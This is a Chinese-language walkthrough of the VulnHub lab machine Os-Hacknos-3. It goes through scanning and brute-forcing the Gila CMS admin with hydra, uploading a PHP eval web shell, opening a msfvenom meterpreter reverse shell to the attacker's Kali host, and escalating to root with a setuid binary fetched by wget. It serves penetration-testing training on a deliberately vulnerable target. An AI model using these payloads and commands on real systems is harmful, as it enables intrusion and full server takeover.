vnlnhub靶机 Os-Hacknos-3
kali ip:192.168.1.199
靶机 ip:192.168.1.187
靶机下载:https://www.vulnhub.com/entry/hacknos-os-hacknos-3,410/
靶机目标:普通用户的user.txt和root用户的root.txt
步骤
步骤一:使用nmap进行网络扫描,发现目标192.168.1.187为入侵目标靶机...
nmap -sn 192.168.1.0/24

nmap -sS -A -T5 192.168.1.187 -O

浏览器访问 192.168.1.187
步骤二:使用gobuster工具对该网站进行目录扫描发现/scripts/路径并访问...并无实际利用点...
gobuster dir -u http://192.168.1.187/ -w /home/flao/桌面/wordlist.list -x .php,.zip,.txt,.html
浏览器访问http://192.168.187/scripts/

步骤三:访问这几个文件无果后回到站点主页面,在其站点后面添加路径/websec/发现是一套CMS站点并扫描器后台登录页面/websec/admin
在title处发现Gila CMS字样...并搜索发现为一套开源的CMS...
步骤四:使用搜索引擎检索下Gila CMS的可利用漏洞找到以下两个漏洞....文件包含漏洞需要登录后台,所以接下来的思路就是尝试弱口令爆破.... //无需操作
- https://www.exploit-db.com/exploits/46557 #XSS跨站脚本攻击
步骤五:使用cewl工具对其网站信息进行收集并制作成字典...
cewl http://192.168.1.187/websec/ > passwd.txt
cat passwd.txt

密码破解
hydra -l contact@hacknos.com -P passwd.txt 192.168.1.187 http-post-form "/websec/login:username=^USER^&password=^PASS^:Wrong email or password" -V
hydra工具具体说明链接:https://zhuanlan.zhihu.com/p/397779150


获得密码为Securityx
步骤六:使用该密码登录进入后台,发现文件上传点

tmp/.htaccess中内容删除后保存

tmp/media_thumb/test.php的文件内容为 <?php @eval($_POST['qwer']);?>

http://192.168.1.187/websec/tmp/media_thumb/test.php

步骤七:使用蚁剑进行链接并上传MSF生成shell.php...在kali中启动msfconsole并进去到监听模式然后...打开浏览器访问webshell.php进行shell反弹....
MSF生成PHP木马
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.199 LPORT=1234 R > shell.php
chmod 777 shell.php

kali中启动msfconsole接受Shell反弹
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.1.199 // 这里的ip是自己kali的ip
set LPORT 1234 //监听的端口号

run //浏览器再次访问http://192.168.1.187/websec/tmp/media_thumb/shell.php
步骤八:在meterpreter下输入shell命令进入目标shell环境并执行以下命令进入bash环境....
shell
python -c 'import pty; pty.spawn("/bin/bash")'

步骤九:编译以下程序源码并上传到靶机目录下,给于777权限并执行获取高权限...并拿去Flag...
kali中的操作
vi exp.c 编辑内容为
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
int main()
{
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
gcc exp.c -o exp

python3 -m http.server 8000
目标靶机操作
ls
wget http://192.168.1.199:8080/exp -O exp
ls
chmod 777 exp

www-data@hacknos:/var/www/html/websec/tmp/media_thumb$ cpulimit -l 100 -f ./exp <ml/websec/tmp/media_thumb$ cpulimit -l 100 -f ./exp
whoami cd /root ls cat root.txt


浙公网安备 33010602011771号